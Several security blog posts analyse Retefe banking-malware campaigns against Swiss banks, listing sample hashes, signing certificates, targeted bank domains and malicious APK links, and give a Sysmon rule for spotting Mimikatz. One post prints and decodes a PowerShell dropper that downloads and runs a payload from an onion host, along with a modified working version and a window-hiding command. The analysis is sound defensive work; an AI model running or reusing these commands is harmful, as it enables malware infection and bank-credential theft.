May 28 09:37:05 labtests-Mac com.apple.xpc.launchd[1] (homebrew.mxcl.tor): This service is defined to be constantly running and is inherently inefficient.
...

Lastly, the keychain file, where the certificate is stored, changes when the new certificate has been imported. This file is in/Library/Keychains/

The first samples detected were on the 22/04 and the developer's signature certificate had the serial number "48 CA D4 E6 96 6E 22 D62". Some samples from those dates are:

0e48346ebd57b1b6dbaa0bbad4d579dc 
9e9542cdd28bb74b09b685ab6f0d05da 
aeb933c1e6acca67538bd9b30a1c3337 
e8bdde90574d5bf285d9abb0c8a113a8  
14c1cd9c5f263d5ba988838e0c3e3cf6 
0e48346ebd57b1b6dbaa0bbad4d579dc 
9f25c1a359b9dae3f2c1abba45f0566d 
9e9542cdd28bb74b09b685ab6f0d05da 

Then on the 03/05 other  bunch of emails were sent with this malware, but this time the certificate used to sign the maliciuos app had the serial number "12 72 51 B3 2B 9A 50 BD".
Some samples from those days:

473c6a0b2af67c241a29d87e7fd33634
56be5de1952ab4f4a75cfe7e0edd1404 
561e5d2f73b0858913f0c8792df0dcd3 
8805c2674368fe981bc70f220702fad3 
2ee232b1a56f21bdd0b46ba0acd12a22 
87a4bff26626ccf022bda7373241275c 

On the 11/05 another bunch of emails and another different certificate "30 E1 5E 51 24 0E 65 13"

005885b7df33ddc331ae9d330992cb32 
08a3a516ef995fbccff3c383ef3477e7
8f6220b340fcd681af2b95e125d9c1bd 
2d17e6b8d631492d85df6686d5229287 
246906ed9bf9a5e6ddcd2ce63504b023 

16/05, again other round of maliciuos emails and other certificate used " 57 CA 73 4E 7B 02 E2 28"

07b67d95176fb35e70c38561c8d67987
a4aaabc1ce5dab07a7f98f08965f0fce
a6cf153e0fecd92bef90cc6020f03701 
fca0afcec326504ac6257ba49f96820d 
c3a7c3edf99227b7100d283bdfbff37b 
7b67d95176fb35e70c38561c8d67987 
65e1397dfca29c39c9f181504c9e6098 
a4aaabc1ce5dab07a7f98f08965f0fce 
961637c0d8158703141d3c330f88546e 
117ee5735c38f55900df60464378ca7c 
c8ae7b20d562733077798471a3b142ad 
18799cb34889baea83771f6b8ed20278 
c0d7908264ca3a4e5f124153af184a5c

19/05, new wave of emails, other certificate used  "5E 25 44 7D 4F 1A 7E 4D"

8dac2b2dd8cdedafdcd8d6b7793d7fba 
9f4fb4ee1a9f4ae47abe3904d3ccb7c1 
92b34cbc17062c27e42e1dfb08771a92 
8dac2b2dd8cdedafdcd8d6b7793d7fba 
2ba9a98407afdd70631704e9e56d51cf 
cd62c44978cf47de096604b890b9b377 


In all the cases, all the certificates used, were created a day or couple of days before being used to sign the maliciuos app with valid apple developers accounts.

Three days ago, a new wave of emails were sent, and again a new certificate has been used, "61 BA 22 AC 99 02 79 A1". Again, the certificate used was created the day previous to the first sample being detected

It is very interesting to see the pattern between the campaigns of emails sent with the maliciuos app signed with a different certificate each time.




This last sample, however, has a detection rate really low, and only 4 AV detects it as malware. 





Some samples are here:

deb5fca6bc967be8a5bab8dc1b01b2a6 
0100888469947ea58d298381b70e824c 
635e01bc807a20895b533734f6a4aaac 
7b7e8cb4dfd1d2535b9b20a59f463dcd 

e7442877ca35c85ba7fca34231d0ab0c 

In this last wave of emails, there is something interesting which is worth to mentioned. This time, the malicious app is not attached in the email directly, but a PDF file with a link to the malicious app hosted in Dropbox is attached. Also, some typos are in the email ("Amason instead of Amazon")




Another interesting point is that the PDF contains a link to the Windows version of the malware as well (a DOCX file with Macros)

The PDF is in VT since a three days ago: 
https://virustotal.com/en/file/eb0ee996575310d4ab029cd73e21b9d5205f0137269f1b687aa923dfde7eebe0/analysis/


The link to the linked malware are here:

hxxps://www.dropbox.com/s/moqk87enoib3o3o/Dokument_26.05.2017.docx?dl=1

hxxps://www.dropbox.com/s/2baxj6fvb2997v6/Dokument_26.05.2017.zip?dl=1


The windows version of the malware, has not changed since the last time I took a look here, where they were using PowerShell instead of JS.




Since last time I took a look to the Proxifier setup to figure out the banks affected, 49 new  domains of Swiss banks have been included in the list:

*credinvest.ch *bancazarattini.ch *appkb.ch *arabbank.ch *apbank.ch *notenstein-laroche.ch *bankbiz.ch *bankleerau.ch *btv3banken.ch *bhibank.com *dcbank.ch *bnpparibas.com *bordier.com *banquethaler.com *bbva.ch *pbgate.net *cmcic-banquepasche.com *bil.com *bcpconnect.com *banquecramer.ch *banqueduleman.ch *bankhaus-jungholz.ch *sparhafen.ch *bankzimmerberg.ch *bankleerau.ch *vontobel.com *notenstein-laroche.ch *bankbiz.ch *ceanet.ch *ce-riviera.ch *cen.ch *cedc.ch *cbhbank.com *cimbanque.net *cembra.ch *cmvsa.ch *coutts.com *ca-financements.ch *commerzbank.com *dominickco.ch *efginternational.com *exane.com *ekaffoltern.ch *falconpb.com *gemeinschaftsbank.ch *frankfurter-bankgesellschaft.com *glarner-regionalbank.ch *globalance-bank.com *hsbcprivatebank.com






Friday, February 24, 2017

Hunting Retefe with Splunk - some interesting points

While I was creating some Splunk use cases to detect malware (together with Sysmon) I was doing some test with malware Refete which I wrote quite a bit in this blog about it. 
There are a couple of things I found interested to share

The initial vector of infection is through Malspam with a fake bill in a DOCX file which contains some malicious code. However, this time the malicious code is PowerShell, instead of JS (more info in http://blog.angelalonso.es/2016/10/malicious-email-campaign-against-swiss.html)


This can be spotted straight forward in Splunk.





powershell -EncodedCommand "JABGAD0AJABlAG4AdgA6AFQAZQBtAHAAKwAnAFwAUgBCAFgAcgAxAGwAawA5AFAALgBqAHMAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBlAGwAZQA2AGkAZABmAGQAcQB3AGQAcgA2AG0AMgB3AC4AbwBuAGkAbwBuAC4AdABvAC8AUgBCAFgAcgAxAGwAawA5AFAALgBqAHMAPwBpAHAAPQAnACsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwAvACcAKQArACcAJgBpAGQAPQAnACsAKAAoAHcAbQBpAGMAIABwAGEAdABoACAAdwBpAG4AMwAyAF8AbABvAGcAaQBjAGEAbABkAGkAcwBrACAAZwBlAHQAIAB2AG8AbAB1AG0AZQBzAGUAcgBpAGEAbABuAHUAbQBiAGUAcgApAFsAMgBdACkALgB0AHIAaQBtACgAKQAuAHQAbwBMAG8AdwBlAHIAKAApACwAJABGACkAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAGMAbwBtACAAUwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACkALgBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAoACQARgApADsA"

The command decoded, which acts as a dropper, is the following:


1
2
$F=$env:Temp+'\RBXr1lk9P.js';
(New-Object System.Net.WebClient).DownloadFile('https://ele6idfdqwdr6m2w.onion.to/RBXr1lk9P.js?ip='+(New-Object System.Net.WebClient).DownloadString('http://api.ipify.org/')+'&id='+((wmic path win32_logicaldisk get volumeserialnumber)[2]).trim().toLower(),$F);(New-Object -com Shell.Application).ShellExecute($F);

Basically, it requests a file located in a Tor node (which is the payload) through the onion.to website: https://ele6idfdqwdr6m2w.onion.to/RBXr1lk9P.js?ip=

To request the file, it is necessary to send the IP of the victim as parameter and the logical number of the disk. To do so, there are 2 things happening:

1) request to http://api.ipify.org/ in order to get the public IP of the victim
2) run the command ((wmic path win32_logicaldisk get volumeserialnumber)[2]) to extract the serial number of the logical disk.
If the IP is not from some specific countries or the serial number is empty the payload downloaded is empty as well, hence nothing happens. Actually, in some cases the parameter "2", doesn't work, and needs to be different.  For, example this command will work in some VirtualMachines (just need to put an IP from Switzerland in the w.x.y.z)


$F=$env:Temp+'\RBXr1lk9P.js';(New-Object System.Net.WebClient).DownloadFile('https://ele6idfdqwdr6m2w.onion.to/RBXr1lk9P.js?ip=w.x.y.z&id='+((wmic path win32_logicaldisk get volumeserialnumber)[4]).trim().toLower(),$F);(New-Object -com Shell.Application).ShellExecute($F)

Clearly, they are using the logical number for tracking purposes

Once the script is pulled the whole execution happens. Some JS code is executed, some additional tools are decompressed and execute (Tor and Proxifier), the browser processes are killed, etc.



However, a couple of new 'features' have been introduced since my last posts:
http://blog.angelalonso.es/2016/10/malicious-email-campaign-against-swiss.html
http://blog.angelalonso.es/2016/10/malicious-email-campaign-mimicking.html

First of all is the way that the Proxifier tool is launched, as the window now is hidden. This is done with the PowerShell command:



"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$t='[DllImport(\"user32.dll\")] public static extern bool ShowWindow(int handle, int state);';add-type -name w -member $t -namespace n;saps -FilePath \"Proxifier\";while(![n.w]::ShowWindow(([System.Diagnostics.Process]::GetProcessesByName(\"proxifier\")|gps).MainWindowHandle,0)){}"

Second, the Proxifier is configured to not be shown in the windows system Icon on the bottom left part of the desktop.



After that, the victim's traffic towards the banks is redirect to Tor. In order to steal the TAN SMS token, it is necessary to install a malicious APK, however here there are some changes as well:




Now the APK resides in a domain with a valid SSL certificate and the APK can be dowloaded by HTTPS. Before, this was not the case and the traffic was only HTTP

Note that the certificate has been registered a few days ago and the expiration date is 2 months




Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger" tool, hence the victim's phone doesn't get infected. Some examples of the URL for different banks:

https://mobile-sicherheitapp.com/ZKB-Security-v19-02.apk
https://mobile-sicherheitapp.com/CreditSuisse-Security_v1902.apk

https://mobile-sicherheitapp.com/Raiffeisenc-Security-v_19-02.apk





Monday, February 13, 2017

Hunting Mimikatz launched by PowerShell


Following my last post about how to hunt for malicious PowerShell commands, I'm interested to detect Mimikatz once it is launched through PowerShell, like for example with PowerShellEmpire framework. Mark Russinovich has just written that in order to detect Mimikatz you must monitor lsass.exe for process access.



So basically, I have created a simple filter in sysmon for event code 10 (ProcessAccess) with SourceImage PowerShell.exe and TargetImage lsass.exe





<ProcessAccess onmatch="include">
 <SourceImage condition="contains">powershell.exe</SourceImage>
 <TargetImage condition="contains">lsass.exe</TargetImage>
</ProcessAccess>
 
  

Now it is time to test if it works. 
So I use the Mimikatz module in PowerShellEmpire






In Splunk I detect the initial encoded PowerShell Command

 

After a few seconds I run a SPL query to see when the PowerShell.exe command accesses the process lsass.exe, which it is when mimikatz is executed :)